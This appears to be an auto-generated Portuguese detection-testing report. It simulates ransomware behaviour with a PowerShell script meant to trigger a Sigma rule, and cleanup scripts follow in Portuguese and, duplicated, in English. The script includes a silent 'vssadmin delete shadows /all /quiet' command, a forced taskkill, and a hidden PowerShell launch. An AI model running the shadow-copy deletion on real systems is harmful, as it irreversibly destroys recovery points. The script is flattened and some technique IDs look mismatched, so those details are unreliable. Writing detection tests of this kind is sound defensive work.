Payload Ransomware: Análise Técnica em Profundidade

Execução de Simulação

Pré-requisito: O Check de Telemetria & Baseline Pre-flight deve ter sido aprovado.

Justificativa: Esta seção detalha a execução precisa da técnica adversária (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar exatamente a telemetria esperada pela lógica de detecção.

• Narrativa e Comandos de Ataque:

  1. Exclusão de Cópia de Sombra (T1561.001): O atacante executa um comando de exclusão de VSS silencioso para apagar todos os pontos de restauração anteriores, impedindo as vítimas de recuperar arquivos criptografados.
  2. Criação de Mutex (T1203 – indireto): Payload cria um mutex global chamado “MakeAmericaGreatAgain” para garantir que apenas uma instância será executada.
  3. Término do Processo (T1203): O ransomware encerra processos relacionados à segurança usando a API TerminateProcess. Bypass ETW (T1562.001):
  4. O atacante lança um processo filho com a flag –bypass-etw para silenciar o Rastreamento de Eventos para Windows. Todos os quatro ações são executadas por meio de um único script PowerShell que invoca Script de Teste de Regressão:

  com as strings exatas que a regra Sigma busca. Script de Teste de Regressão: # PayloadRansomwareSimulation.ps1 # Propósito: Gerar exatamente as strings de linha de comando que a regra Sigma corresponde. # 1. Excluir todas as cópias de sombra do VSS (calado) $vssCmd = ‘cmd.exe /c vssadmin.exe delete shadows /all /quiet’ Write-Host “Executando exclusão de VSS…” Invoke-Expression $vssCmd # 2. Criar um mutex global chamado “MakeAmericaGreatAgain” $mutexName = ‘MakeAmericaGreatAgain’ $mutex = New-Object System.Threading.Mutex($false, $mutexName) if ($mutex.WaitOne(0)) { Write-Host “Mutex [$mutexName] criado.” } # 3. Terminar um processo fictício (por exemplo, bloco de notas) para simular o término de processo Start-Process notepad Start-Sleep -Seconds 2 $proc = Get-Process -Name notepad -ErrorAction SilentlyContinue if ($proc) { $terminateCmd = “cmd.exe /c taskkill /PID $($proc.Id) /F” Write-Host “Terminando processo com o comando: $terminateCmd” Invoke-Expression $terminateCmd } # 4. Lançar um processo benigno com flag de bypass ETW $etwBypassCmd = ‘cmd.exe /c powershell.exe -NoProfile -WindowStyle Hidden –bypass-etw’ Write-Host “Lançando processo de bypass ETW…” Invoke-Expression $etwBypassCmd Write-Host “Simulação completa. Todas as strings de indicador devem agora estar presentes nos logs do Sysmon.”

• Comandos de Limpeza:

  # CleanupPayloadRansomwareSimulation.ps1
  # Liberar o mutex
  $mutexName = 'MakeAmericaGreatAgain'
  $mutex = [System.Threading.Mutex]::OpenExisting($mutexName) -ErrorAction SilentlyContinue
  if ($null -ne $mutex) {
      $mutex.ReleaseMutex()
      $mutex.Close()
      Write-Host "Mutex [$mutexName] liberado."
  }
  
  # Garantir que não há processos de bloco de notas restantes
  Get-Process -Name notepad -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # Nenhuma limpeza adicional necessária para exclusão de VSS (não pode ser desfeita) – note que isso é destrutivo e só deve rodar em um laboratório isolado.
  Write-Host "Limpeza completa."

• Fim do Relatório

  # CleanupPayloadRansomwareSimulation.ps1
  # Release the mutex
  $mutexName = 'MakeAmericaGreatAgain'
  $mutex = [System.Threading.Mutex]::OpenExisting($mutexName) -ErrorAction SilentlyContinue
  if ($null -ne $mutex) {
      $mutex.ReleaseMutex()
      $mutex.Close()
      Write-Host "Mutex [$mutexName] released."
  }
  
  # Ensure no leftover notepad processes
  Get-Process -Name notepad -ErrorAction SilentlyContinue | Stop-Process -Force
  
  # No additional cleanup needed for VSS delete (cannot be undone) – note that this is destructive and should only run in an isolated lab.
  Write-Host "Cleanup complete."

End of Report